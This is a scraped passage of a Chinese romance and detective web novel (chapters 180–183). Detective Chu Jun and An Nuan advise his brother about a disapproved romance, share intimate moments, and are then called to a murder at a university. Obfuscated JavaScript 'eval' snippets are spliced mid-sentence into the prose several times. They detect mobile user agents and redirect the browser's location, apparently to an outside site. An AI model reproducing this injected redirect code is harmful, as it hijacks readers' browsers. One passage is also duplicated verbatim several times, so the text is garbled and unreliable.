翟琛自己重重的放在沙发上。 顺手又拿起一旁的酒瓶。 “别喝了别喝了。楚隽连忙接过酒瓶:“哥,你这是怎么了?怎么喝成这个样子? 虽然洗了个脸,但翟琛现在的状态真的差,肉眼可见的疲惫,深深的黑眼圈,好像好几天没睡觉一样。 翟琛挡开了楚隽的手,起身从柜子里拿了三个红酒杯。 用杯子还行,至少没打算对瓶干。 “小安也喝点?翟琛问安暖。 “啊,我就不喝了,你们喝。安暖说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553744|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们俩放心喝,喝多了我还能看着你们,还能开车。总要留个人收拾局面。 都喝醉了,也不好。 翟琛想想也是,他放下酒瓶,打电话订餐。 就是不远处的餐馆,是经常来送餐的。 翟琛点了七八个菜,一个汤,有荤有素,还点了果盘和甜点。 在这一点上,翟琛也是财大气粗的。 三人坐下,楚隽和翟琛碰了个杯。 安暖喝可乐,也算是个意思。 楚隽开始并没有问,他看翟琛那样子,像是这几天都没有正经吃饭,要是继续喝酒,可别把胃喝坏了。 楚隽吃了半碗饭,捧着可乐,一边喝一边看看这个,再看 看那个。 楚隽和翟琛坐在对面,有一种,自己和自己说话的感觉。 这感觉十分奇妙。 翟琛沉默的吃了两碗饭,放下碗。 “阿隽。”翟琛拿起酒杯,和楚隽碰了碰:“你来得正好,我有件事情想问你。” “哥,你问。” “你和小安,你们俩在一起,是认真的?” “当然了。”楚隽奇道:“为什么会这么问,难道我是对感情不认真的人吗?我既然和暖暖处对象,当然是以结婚为前提的。” “那……”翟琛一副欲言又止的样子,纠结了一会儿才说:“万一咱爸妈不同意,你们怎么办?” 楚隽奇道:“哥,你怎么会这么问?我和暖暖的亲事,本来不就是家里安排的吗?” 我不要的时候,你们非要安排。 我接受了,你们又不同意了? 哪有这样的道理? “是,但是……”翟琛有点纠结:“但你也知道,你们的婚事是爷爷安排的,爷爷当然是同意的。但是爸妈呢?他们是真的同意,还是因为爷爷的面子,不得不装作同意。” 要是在十天前,翟琛这么说,肯定是阴阳怪气,心里有问题。 就算安暖不怼他,楚隽也要怼他。 但现在不一样了,安暖和楚隽对视一眼,总觉得翟琛这话里,很是酸涩。 第180章 爱情顾问和心理专家 “哥。楚隽说:“你是不是知道什么?爸妈……跟你说什么了? 之前他和安暖关系不好的时候,爸妈对安暖的态度很好。 现在他们俩关系好了,除了之前买手表的时候,他妈忧心忡忡地跟他聊了一下,也没有再说什么。不管是同意不同意,是非常同意,还是不太同意吧,反正现在没有反对。 翟琛皱紧了眉头。 “哥,咱们又不是外人,你有什么说什么。楚隽道:“还有什么需要藏着掖着不成?你说清楚,有什么事情我也好早做准备。 “对。安暖道:“翟哥,你有什么困难你说,我们也好给你出出主意。 翟琛叹了口气。 “妈,她知道我和董紫莺的事情了。 “等一下。楚隽打断道:“你和董紫莺,你什么事儿?你追上她了? 这才几天,效率可以啊。 “还没有。翟琛道:“但是这段时间,我们的关系确实有一些进展。因为家里的事情,她心情很差,我陪她说话,陪她散心,陪她看电影……看电影的时候,被人看见了。 京市虽然大,但是繁华的地方就那么几个。当时楚隽陪安暖买手表,买衣服,也遇到了熟人。 翟琛道:“第二天晚上,妈就给我打了电话,让我回老宅去吃饭。 “然后呢? “然后,他们不同意我和紫莺的事情,妈说了,绝对不会同意的。 “因为董紫莺的家庭? “对。 安暖喝了一口可乐。 她就知道该来的早晚要来。 翟琛要是追不上董紫莺也就罢了,但凡能追上,或者有一点能追上的迹象,只要给楚隽父母知道了,一定会棒打鸳鸯。 安暖觉得楚隽父母也怪不容易的。 两个儿子都那么优秀,自己家条件那么好,但是两个儿子喜欢的姑娘,都不是传统意义上的门当户对。 而且是一个比一个糟糕。 如果说安暖的家庭背景是一片空白,还稍微好一点。董紫莺的家庭,就是一片泥泞深渊,一片黑暗。 楚隽道:“爸妈这么快就把董紫莺的家里调查清楚了? “这还不好调查吗,随便问问就知道了。翟琛说:“爸妈要是愿意,祖宗三代都能给你查清楚。 楚隽点了点头:“那你怎么说? “我不知道。翟琛按住隐隐作痛的额头:“哎……其实我早该想到的,只是我没想到这事情 会来得那么快。” 安暖真是搞不懂。 翟琛看起来是个工作起来雷厉风行的人,没想到在感情上如此软弱。 喜欢人,不敢追。 追上了,一点困难就躲避。 董紫莺也算是倒了霉,碰上那样的爸妈弟弟就算了,又碰上这样一个追求者。一个拧巴的人,需要一个坚定的人爱,不然的话,是拧不回来的。 安暖突然觉得,董紫莺当初喜欢楚隽说不定是对的,如果翟琛换成楚隽,应该不会这么怂吧? “哥,你不能这样。” 楚隽一把将翟琛手上的酒杯拿来。 翟琛也没有反抗。 楚隽说:“哥,你得想清楚自己到底要什么?” 喜欢一个人,不被父母祝福,这是很痛苦的事情。 翟琛看着楚隽:“如果是你,你怎么办?” “我?” 楚隽还没说话,安暖便道:“楚隽,我也想知道,如果是你,你怎么办?” 要是不出意外,楚隽父母对她,就算没有那么抵触,但也不会一帆风顺。这种事情早点有心里准备也好。 爱情和亲情,从来都是两难。 楚隽转头看了安暖一眼,握住她的手。 “首先,我选择自己喜欢的人,我没有错。我喜欢的人一定是优秀的,我会支持她的梦想,让她更加优秀。如果爸妈真的反对,先尽量减少接触。我会带妻子搬出来住,大家和小家,不是非要纠缠在一起的。” “这样就行了?” “时间能改变一切,治愈一切。”楚隽道:“而且,爸妈也不是那么难讲话的人,就是开始不同意,时间久了,自然就同意了。” 楚隽有一种胡搅蛮缠的气质。 翟琛沉默着,显然在思考这件事情。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553745|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 楚隽又道:“但是这个过程,你要自己面对。不能在不清不楚的时候就把姑娘牵扯进来,叫人跟你一起受罪。” “对。”安暖连连点头:“其实吧,我跟叔叔阿姨也见过几面,吃过几顿饭,你们要不要听听我这个局外人的意见。” 楚隽纠正道:“你不是局外人。” “额……现在还是,以后再说,你们要听听我的意见吗?” “说。” 就连翟琛也打起一点精神,看着安暖。 “哥,看在楚隽的面子上,我也叫你一声哥。你和董紫莺的问题,其实,从知道董紫莺身世的那天起,我就考虑过。” 翟琛虽然开始看安暖不顺 眼,但是前阵子董紫莺被抓的事情,让他对安暖改观不少。 这几日和董紫莺的相处,她也说了许多安暖的好话,是从心里感激她。 也让翟琛从心里觉得,安暖这个人,是个有主意的好人。 如果说她对楚隽好,是讨好他们家,想要改变命运。对董紫莺尽心尽力,是没有什么好处的。 往阴暗一些的地方想,董紫莺毕竟是潜在情敌,如果她被父母嫁给了村里的傻子,对安暖来说,反倒是解除了日后可能有的竞争。 安暖这人,很正。 安暖道:“我觉得这事情,要从三个方面去看。首先,董紫莺本身很优秀,她对原生家庭的牵扯,断绝的也很干脆。这一点,是好事。宁可空白,也不能是深渊。” 自己要坚强,旁人才能拉一把。 “我知道。”翟琛说:“她很不容易。” 今天下午董卫华来找董紫莺的事情,他还不知道呢。先不告诉他。 如果翟琛现在就已经打算放弃了,那就不用告诉他了。免得让董紫莺越陷越深。有希望再失望,才绝望。 安暖道:“第二,是你的态度。一边是董紫莺,一边是父母,你在中间,要承受不止双倍的压力,所以你一定要能扛得住。你若是扛不住,就绝对走不下去。” 翟琛点了点头。 “最后,就是叔叔阿姨的态度,我反而觉得,这是最容易的。” 第181章 情不自禁 翟琛忙道:“怎么说?” “好办呀。”安暖道:“除非铁石心肠的父母,不然的话,父母和子女的斗争,都是子女胜利。一哭二闹三上吊,放之四海都有用。” 翟琛脸上有一点过不去的感觉。 安暖正色对楚隽道:“你也听着点,说不定以后也能用上。” 楚隽挠了挠脸,感觉自己被提点了。 倒是翟琛挺认真道:“具体点呢?” “具体就是……卖惨,然后具体情况,具体发挥。” “卖惨……”兄弟俩你看看我,我看看你。 安暖补充道:“卖惨这一招,只对心疼你的人有效。只要惨不死,就往死里惨,当做父母的突然发现,如果不接纳儿媳妇,就连儿子也要失去的时候,他们就会妥协了。这其实不太厚道,所以前提是,你要确定自己和那个人,情比金坚,生死不弃。要不然的话,既是对父母的不负责,也是对爱人的不负责。” 楚隽若有所思地点了点头。 果然大道至简,什么花花肠子都没有,熬到最后就是拼良心。 心软的人,注定会输。 只是输给家里人,不是什么丢人的事情,这不是真正的输赢,都是爱。 对家里人使一些小手段,也不是什么阴险的事情,只是撒娇罢了。 “我明白了。”楚隽道:“我也有心里准备了。” 安暖托着下巴看他。 “你怎么准备了。” 楚隽道:“我们俩的情况虽然和哥不一样,但不到结婚也不好说,万一呢……还是要提前准备得好。” 安暖好奇道:“你有什么想法吗?” “就像你说的,一哭二闹三上吊,最简单的就是跪呗。一个小时不行就一天,一天不行就两天,最好找天气不好,下雨下雪的时候,都是亲生的,我不信还能看我死在外面。暖暖,要是有那一天,你不用管我,我能处理好。” 孺子可教,安暖给楚隽点了一个赞。 “你抓住精髓了。”安暖道:“大哥,你学到点吗?” 安暖算是看出来了。 这兄弟俩的性格是完全不一样的。 在感情里,楚隽是勇往直前的那一个,所以才会第一时间提出要名分,要确定关系,要住在一起,估计再聊下去,他会要求尽快结婚。 但是翟琛不一样。 翟琛在这方面,没有这么强硬。 翟琛今天听君一席话,胜读十年书了。 他若有所思地又吃 了一碗饭。 虽然还是头痛,但痛得没有刚才那么心慌意乱了。 吃完饭,楚隽给翟琛倒了杯茶。 “哥。”翟琛道:“你对董紫莺,到底有什么想法,还喜欢吗?” “喜欢。” “多喜欢?” “很喜欢。”翟琛一口气将茶喝了。 这两天喝酒喝多了,喝茶都是喝酒的豪爽姿势。然后烫得想吐舌头。 又因为安暖在,不想太事态,憋的脸都扭曲了。 “那我告诉你一个消息。”楚隽说:“今天下午,有人来警局**了。是董紫莺的弟弟,从老家来的,找了一帮人在门口又哭又打滚的……” 翟琛一下子站了起来。 “紫莺怎么样了?” 楚隽叹了口气:“自己弟弟带人来揭伤疤,你说能怎么样。不过还好,暖暖骂了她弟弟一顿,她心里应该稍微好受了一点。不过这个时候,还是需要人安慰吧。” “我去看看她。”翟琛大步走到桌边,拿起车钥匙。 “哥你等等。”楚隽一把抓住翟琛的胳膊:“哥,你想清楚了再去。” “我想得很清楚。” “那我送你去,你喝多了,不能开车。” 安暖忙说:“你也喝酒了,你也不能开车。我来吧,我开车。” 翟琛这时候竟然还挺理智。 “不用,我有司机。”翟琛说:“司机就住在隔壁楼里,叫他送我。你们俩……去谈恋爱吧。” 翟琛摆摆手。 他现在情路坎坷,看见亲亲热热的小两口只觉得心里堵得慌。还是不要让他们送了,免得路上还要吃狗粮。 翟琛风风火火地走了。 安暖道:“我们也走吧。” “走。”楚隽突然晃了一下。 “怎么了?”安暖连忙扶住他。 “大概是刚才酒喝得有点急。”楚隽按住额头:“头突然有点晕。” “头晕?你刚才喝的也不多啊,你哥这儿的酒不会是假酒吧?”安暖有些疑惑地拿起桌上的酒瓶。 两个人,一起喝了半瓶白酒,不能算多,远不到会醉的程度。 “不知道。”楚隽低下头,微微躬身,将脸贴在安暖脸上。 楚隽的脸有点热,安暖的脸也不热。 安暖知道了,楚隽这不是喝多了,也不是喝醉了,这是借酒意耍流氓呢。 “你……” 安暖一侧脸,没想到楚隽也正好侧过脸,碰到了一起。 安暖脸上一红,正要往后让,楚隽已经伸手按住了她的后脑。 “别动,有点晕,让我靠靠。”楚隽含糊了说了一句,人更近的贴了过来。 一点儿也不像是喝醉的样子。 这是靠靠吗,楚隽说话真是太含蓄了。 安暖伸手搂住楚隽的腰,这腰真好搂,又瘦又劲道。 搂住又摸了摸,捏了捏。有一种想把手探进衣服里,往背上摸的冲动。 也不知何时两人就到了墙边,楚隽一手张开垫在安暖脑后,一手掐在她腰上。 房间里,只有难以自持的喘气声。 这声音特别暗波汹涌。 楚隽蹭上了安暖的下巴,脖子,锁骨上,传来轻微的痛楚。 安暖听着楚隽的难耐的呼吸声在耳边,突然想起一句话来。 有的人接吻像演戏,有的人接吻像前戏……楚隽今天晚上,怎么这么凶猛热烈,难道是被刚才的谈话刺激了,还是喝了点酒? 酒,喝多了一滩烂泥。 但是喝一点点,绝对是火上浇油,越烧越旺。 突然感觉腰上一凉,安暖从火热中回过神来。 “别。”安暖连忙收回手,按住衣襟下摆。 楚隽的手有些不安分的,探进了她腰上的衣服里。 冰冷的手触到温热的腰间皮肤,安暖全身僵硬了一下。 楚隽也猛地反应过来。 安暖脸上一红,正要往后让,楚隽已经伸手按住了她的后脑。 “别动,有点晕,让我靠靠。”楚隽含糊了说了一句,人更近的贴了过来。 一点儿也不像是喝醉的样子。 这是靠靠吗,楚隽说话真是太含蓄了。 安暖伸手搂住楚隽的腰,这腰真好搂,又瘦又劲道。 搂住又摸了摸,捏了捏。有一种想把手探进衣服里,往背上摸的冲动。 也不知何时两人就到了墙边,楚隽一手张开垫在安暖脑后,一手掐在她腰上。 房间里,只有难以自持的喘气声。 这声音特别暗波汹涌。 楚隽蹭上了安暖的下巴,脖子,锁骨上,传来轻微的痛楚。 安暖听着楚隽的难耐的呼吸声在耳边,突然想起一句话来。 有的人接吻像演戏,有的人接吻像前戏……楚隽今天晚上,怎么这么凶猛热烈,难道是被刚才的谈话刺激了,还是喝了点酒? 酒,喝多了一滩烂泥。 但是喝一点点,绝对是火上浇油,越烧越旺。 突然感觉腰上一凉,安暖从火热中回过神来。 “别。”安暖连忙收回手,按住衣襟下摆。 楚隽的手有些不安分的,探进了她腰上的衣服里。 冰冷的手触到温热的腰间皮肤,安暖全身僵硬了一下。 楚隽也猛地反应过来。 安暖脸上一红,正要往后让,楚隽已经伸手按住了她的后脑。 “别动,有点晕,让我靠靠。”楚隽含糊了说了一句,人更近的贴了过来。 一点儿也不像是喝醉的样子。 这是靠靠吗,楚隽说话真是太含蓄了。 安暖伸手搂住楚隽的腰,这腰真好搂,又瘦又劲道。 搂住又摸了摸,捏了捏。有一种想把手探进衣服里,往背上摸的冲动。 也不知何时两人就到了墙边,楚隽一手张开垫在安暖脑后,一手掐在她腰上。 房间里,只有难以自持的喘气声。 这声音特别暗波汹涌。 楚隽蹭上了安暖的下巴,脖子,锁骨上,传来轻微的痛楚。 安暖听着楚隽的难耐的呼吸声在耳边,突然想起一句话来。 有的人接吻像演戏,有的人接吻像前戏……楚隽今天晚上,怎么这么凶猛热烈,难道是被刚才的谈话刺激了,还是喝了点酒? 酒,喝多了一滩烂泥。 但是喝一点点,绝对是火上浇油,越烧越旺。 突然感觉腰上一凉,安暖从火热中回过神来。 “别。”安暖连忙收回手,按住衣襟下摆。 楚隽的手有些不安分的,探进了她腰上的衣服里。 冰冷的手触到温热的腰间皮肤,安暖全身僵硬了一下。 楚隽也猛地反应过来。 安暖脸上一红,正要往后让,楚隽已经伸手按住了她的后脑。 “别动,有点晕,让我靠靠。”楚隽含糊了说了一句,人更近的贴了过来。 一点儿也不像是喝醉的样子。 这是靠靠吗,楚隽说话真是太含蓄了。 安暖伸手搂住楚隽的腰,这腰真好搂,又瘦又劲道。 搂住又摸了摸,捏了捏。有一种想把手探进衣服里,往背上摸的冲动。 也不知何时两人就到了墙边,楚隽一手张开垫在安暖脑后,一手掐在她腰上。 房间里,只有难以自持的喘气声。 这声音特别暗波汹涌。 楚隽蹭上了安暖的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“别动,有点晕,让我靠靠。”楚隽含糊了说了一句,人更近的贴了过来。 一点儿也不像是喝醉的样子。 这是靠靠吗,楚隽说话真是太含蓄了。 安暖伸手搂住楚隽的腰,这腰真好搂,又瘦又劲道。 搂住又摸了摸,捏了捏。有一种想把手探进衣服里,往背上摸的冲动。 也不知何时两人就到了墙边,楚隽一手张开垫在安暖脑后,一手掐在她腰上。 房间里,只有难以自持的喘气声。 这声音特别暗波汹涌。 楚隽蹭上了安暖的下巴,脖子,锁骨上,传来轻微的痛楚。 安暖听着楚隽的难耐的呼吸声在耳边,突然想起一句话来。 有的人接吻像演戏,有的人接吻像前戏……楚隽今天晚上,怎么这么凶猛热烈,难道是被刚才的谈话刺激了,还是喝了点酒? 酒,喝多了一滩烂泥。 但是喝一点点,绝对是火上浇油,越烧越旺。 突然感觉腰上一凉,安暖从火热中回过神来。 “别。”安暖连忙收回手,按住衣襟下摆。 楚隽的手有些不安分的,探进了她腰上的衣服里。 冰冷的手触到温热的腰间皮肤,安暖全身僵硬了一下。 楚隽也猛地反应过来。 安暖脸上一红,正要往后让,楚隽已经伸手按住了她的后脑。 “别动,有点晕,让我靠靠。”楚隽含糊了说了一句,人更近的贴了过来。 一点儿也不像是喝醉的样子。 这是靠靠吗,楚隽说话真是太含蓄了。 安暖伸手搂住楚隽的腰,这腰真好搂,又瘦又劲道。 搂住又摸了摸,捏了捏。有一种想把手探进衣服里,往背上摸的冲动。 也不知何时两人就到了墙边,楚隽一手张开垫在安暖脑后,一手掐在她腰上。 房间里,只有难以自持的喘气声。 这声音特别暗波汹涌。 楚隽蹭上了安暖的下巴,脖子,锁骨上,传来轻微的痛楚。 安暖听着楚隽的难耐的呼吸声在耳边,突然想起一句话来。 有的人接吻像演戏,有的人接吻像前戏……楚隽今天晚上,怎么这么凶猛热烈,难道是被刚才的谈话刺激了,还是喝了点酒? 酒,喝多了一滩烂泥。 但是喝一点点,绝对是火上浇油,越烧越旺。 突然感觉腰上一凉,安暖从火热中回过神来。 “别。”安暖连忙收回手,按住衣襟下摆。 楚隽的手有些不安分的,探进了她腰上的衣服里。 冰冷的手触到温热的腰间皮肤,安暖全身僵硬了一下。 楚隽也猛地反应过来。 第182章 叫声姐姐,命都给你 所有的动作戛然而止。 楚隽猛地抽回手,但是并不离开,而是将下巴压在安暖肩膀上。 呼…… 楚隽的喘息有些重,闭着眼睛,深深地呼吸,仿佛克制着什么。 “对不起……”楚隽做了个深呼吸,真的是喝了酒,有点冲动了。 他前半辈子二十几年,还从未有如此冲动的时候。心里七上八下的,也不知道安暖会害怕,还是会生气,或者会害羞? 但安暖没有推开他,也没有给他一巴掌,应该……不是讨厌吧。 当然,他打死也不敢想,安暖其实有点意犹未尽。 “没,没事。”安暖低声说:“你,要不你去洗个脸,冷静一下。” 就,靠得有点太近了。楚隽刚才那力气,像是恨不得将她揉进身体里。让她觉得……有点硌着了。 年轻力壮啊,弟弟就是好。 楚隽猛地退了两步,突然的面红耳赤:“是,我去洗个脸。你等我一下。” 虽然他是个有丰富刑侦经验的刑警队长,但在感情方面,还是很纯真无瑕的。 楚隽转身进了休息室,打开水龙头,捧了一把冷水扑在脸上。 顿时清醒了一些。 安暖也走到窗边,吹一吹冷风。 春心萌动这件事情,从来是不分性别的。 楚隽动心,她也动心啊。 刚才真是热闹又荒唐,这可是在翟琛的办公室里啊,还开着灯开着窗子。幸亏这个年代的人没有到处装监控的道理,要不然的话,等翟琛回来,突然想起看看监控,那可就尴尬了。 过了一会儿,楚隽总算从休息室里出来了。 头发湿漉漉的,顺手地贴在额头上,和平时成熟冷静的模样完全不同,好像一下子年轻了好几岁,刚大学毕业似的。 安暖又觉得晚风如火了。 “楚隽。”安暖走过去,拿起架子上的毛巾,给楚隽擦了擦头发:“我跟你说个秘密。” “你说。” “其实我的年龄是被改过的。” “啊?”楚隽愕然抬头,看着安暖:“什么意思?” 安暖正色道:“我说我的年龄,被改小过,我其实比你大。” 楚隽微微皱眉:“改小了多少?” 他怎么看安暖,怎么都比他小的样子,当然小的也不多。也就是一两岁吧,要不然爷爷也不会给他们定娃娃亲。 安暖说:“改小了,十几二十岁吧。” “……” 楚隽无语。 要说改个三五岁,他也就信了。但二十岁,就显然是开玩笑了。 “真的,不骗你。”安暖特别认真的一副嘴脸,然后低下头,凑到楚隽耳边:“叫一声姐姐,姐姐以后心疼你。” 楚隽顿时觉得刚才的冷水脸白洗了。 安暖这姑娘,什么时候这么会撩?她也不是风情万种这一类的啊。 但楚隽明知道安暖在胡说八道,还是忍不住配合。 耳边是安暖的呼吸,酥酥的,楚隽的喉结上下动了一下,脸慢慢红了。 他想要板起脸斥责一声成何体统,但嘴唇动了动,憋了半天吐出两个字:“姐姐。” “真乖。”安暖心花怒放。 万万没想到,楚隽还有如此天分。 万万没想到,这辈子还能收个小奶狗。 以后结了婚调教一下,楚隽说不定是又凶又乖的类型。 这事情说给外人听谁信啊,今天突发奇想,也是给他走上新赛道了。 大部分的事情,都是开头难,后面就容易了。 厚脸皮也是。 楚隽压下砰砰直跳的心。 他拽住安暖的手腕,凑得更近一些。 “叫姐姐,没问题。”楚隽缓缓道:“别说叫姐姐,关上门,叫祖宗也行,但是姐姐……可得多心疼我一点……” 楚隽刚才脑子里突然就清明了,想起自己好兄弟向浩然曾经传给他的一些肺腑之谈。 比如对女孩子的时候,不要像对案子那样严肃。 关上门两个人,有什么原则不原则,脸面不脸面的,只要不是原则问题,什么都能说。 这不叫做小伏低,这叫情趣。 “没问题。” 安暖在楚隽脸上吧唧一口,心满意足。 “走,跟姐姐回家。” 楚隽虽然对吧唧一口不太满足,但这是翟琛的办公室,这地方确实不适合。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558264|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来嘛,他们俩是打算先来找一趟翟琛,把事情弄明白。然后再回一趟老宅的。 但现在已经太明白了,一时也没有必要回老宅了。 这事情现在主要靠翟琛自己,就算是回去,也不能说什么。翟琛自己还有点搞不清楚自己的心,没到旁人劝的地步。 老爷子肯定不会反对的,他是只看本人的,董紫莺本人是很优秀的,人品性格都没有问题,便不会计较家庭出生。 但家里的关系,也需要平衡。 楚隽和安暖的事情,是老爷子一 力做主的,他心里明镜一般,知道儿子儿媳妇其实不太愿意。 所以,他也会有取舍。 小孙子的婚事自己定了,那大孙子的婚事,就给他父母定吧。 翟老爷子应该不会坚定地站在翟琛那一边,不能指望。 回了三室套,可惜,这一次楚隽没有理由在姐姐房间过夜了。 第二天一早,楚隽就给翟琛打了电话过去。 也不知道昨天晚上翟琛去找董紫莺,讨论出了什么结果。身为弟弟,他还是想要关心一下的,他不希望翟琛因为感情挫折宿醉痛苦。 他也希望董紫莺能够解决自己的麻烦事儿,走出阴霾。 安暖心善,董紫莺有一半是她救回来的,若能重进阳光,她也一定高兴。 这是一箭三雕的事情。 昨天晚上,翟琛肯定没回家,楚隽想了想,第一个电话打去了他家。 不是老宅,是翟琛在外面自己的住处,离他的公司不远。 没有人接。 楚隽又打去了办公室,响了一会儿,是助理接了电话。 “翟总没有来上班。”助理说。 “好,知道了。” 不在家,也不在办公室。 楚隽想了想,翟琛应该也不会回老宅,莫非去董紫莺的住处了? 可惜董紫莺那儿没电话。 正想着,安暖出来了。 安暖推开房门出来,便看见楚隽站在桌子边,一手拿着电话,一手撑在桌上。 阳光和花,遮挡出完美侧影。 啧啧啧。 安暖的心,顿时就上了高速。 第183章 草莓很甜,**不远 楚隽靠着打电话挂了电话一回头就看见安暖靠在门边看他。 “起来了?”楚隽说:“这么不去吃饭。” “吃一会儿就吃。”安暖走到楚隽身边说:“你扣子没扣好 说着安暖搂上了楚隽的腰从身后往前摸索了一下解开了衬衫下摆的一粒扣子。 楚隽不知道该不该夸安暖这么贴心还是这么虚伪。 “你站在我背后是怎么看见我扣子没扣好的?”楚隽忍不住道:“其实你就是想占我便……” “嘘……”安暖一根手指点在楚隽嘴上:“看破不说破。” 安暖伸了摸了摸楚隽衣衬衫下的腹肌这手感……她心满意足又给扣上扣子。 早上吃得真好。 哈哈! 楚隽无奈。 安暖是个管杀不管埋的她摸完了心安理得去吃饭了。 楚隽心里蠢蠢欲动觉得不能轻易退让至少不能表现的太怂。 家里这点事儿不是东风压倒西风就是西风压倒东风啊。他一抬头看见桌上放着的玻璃瓶子。 里面是买回来的糖果就是昨天在办公室里安暖吃过的水果糖有橘子味儿的草莓味儿的葡萄味儿的香蕉味儿的。 楚隽挑了一颗草莓味儿的和昨天吃过的味道不一样。 今天这个肯定比较甜。 安暖已经心满意足在吃早饭了。 吃完饭喝了口水楚隽说:“要吃糖吗?草莓味道的。” “好。” 楚隽剥开糖纸。 安暖已经习惯地张了嘴。 “啊……” 可楚隽却不将糖往前送而是一回收送进了自己口中。也不咽下去只是含在唇中。 “嗯?”楚隽挑了挑眉凑过去。 安暖一看。 男人果然是有胜负欲的楚隽学坏了。 楚隽已经靠了过来轻轻捏住安暖的下巴将糖送了过来。 安暖抿了抿唇觉得一阵口干舌燥。 “甜吗?” “甜……” “是不是比昨天的甜?” “呜……” 草莓味道的糖果确实比橘子味儿的甜甜得有点齁了。 安暖觉得这样下去他们可能熬不到半年就得结婚。 这结婚的速度太快太快了。 但是男女朋友住在同一个屋檐下又对彼此有好感保持 相敬如宾,这也太难了,完全不符合人性。 所幸离的近,没有迟到。 楚隽到单位的第一件事,就是打电话去法医室,问一下董紫莺来了没有。 董紫莺没来。 但是董紫莺这次不是失踪。 昨天的事情闹的很难看,影响很不好,她请了几天假,想要将这事情处理好了再回来上班。 安暖有点担心:“不会有什么事情吧,也不知道昨天大哥找到董紫莺没有? “这个你放心,肯定找到了。楚隽道:“如果没找到,他昨天晚上就会联系我的。 这个世界上,芸芸众生,现在对董紫莺最在意的人恐怕也只有翟琛了。 楚隽的发言是基于自己对翟琛的了解,但是他这话并没有让安暖放心。 安暖想了想翟琛在这件事情上的过往的表现,摇了摇头。 “你大哥他是天之骄子,能力很强,但人,并不是每一面都一样坚强。有些人在事业上无往不利,可是在感情上止步不前。安暖说:“我觉得大哥在感情上略有欠缺。 安暖虽然看翟琛不太顺眼,但不管怎么样,也是楚隽的哥哥。 她一向爱屋及乌。 既然接受了楚隽,也就愿意给翟琛最大的尊重。 当然尊重不是委曲求全。 所以当翟琛不接受她释放的善意的时候,她也会亮出爪子,血淋淋地挠上一巴掌 虽然心里有些不踏实,但毕竟是两个成年人,也不可能说时时刻刻都要看得见,摸得着管在眼皮底下。 楚隽说:“如果白天没联系上,下班再去一趟。 “好。安暖说:“那我去图书室了,有事儿你找我。 楚隽点了点头,给她兜里塞两颗糖。 一颗是给安暖的,一颗是给周念川的。 自从安暖总泡在图书室里,周念川都跟着胖了不少,最近又开始恢复许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558265|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久没有做的体能训练了。 安暖在图书室看书看到十一点半,看看时间,觉得楚隽差不多要来喊吃中饭了,卢瑞泽虽然跑了过来。 “小安。 “卢哥。安暖看他的脸色不对:“怎么了?出什么事儿了? 卢瑞泽说:“你是不是有个在清大的老乡,叫庄致轩? “对啊,怎么了? “你快来吧,你老乡出事了。 庄致轩前阵子出差去了,算算时间,应该刚回来吧。怎么就出事了? 在大学里能出什么事呢?而 且,还联系上了**局? 安暖连忙跟周念川说了一声,跟着卢瑞泽去刑警队。 楚隽正在跟江笑愚安排什么事情,看见她后点了点头。 安暖连忙走过去。 等楚隽安排完。 “怎么回事,卢哥说庄致轩出事了?” “对。”楚隽道:“**了,现在怀疑庄致轩是凶手,我们要立刻去一趟。” 安暖吓了一跳。 那可是大学校园,还是赫赫有名的大学校园,怎么就出了命案了? “之前庄致轩给你打过电话,我知道他是你老乡,你要不要一起去?” “去去去。”安暖连忙道:“万一我能帮上忙呢?” 楚隽喊安暖来的时候,是有考虑要不要带她去的。 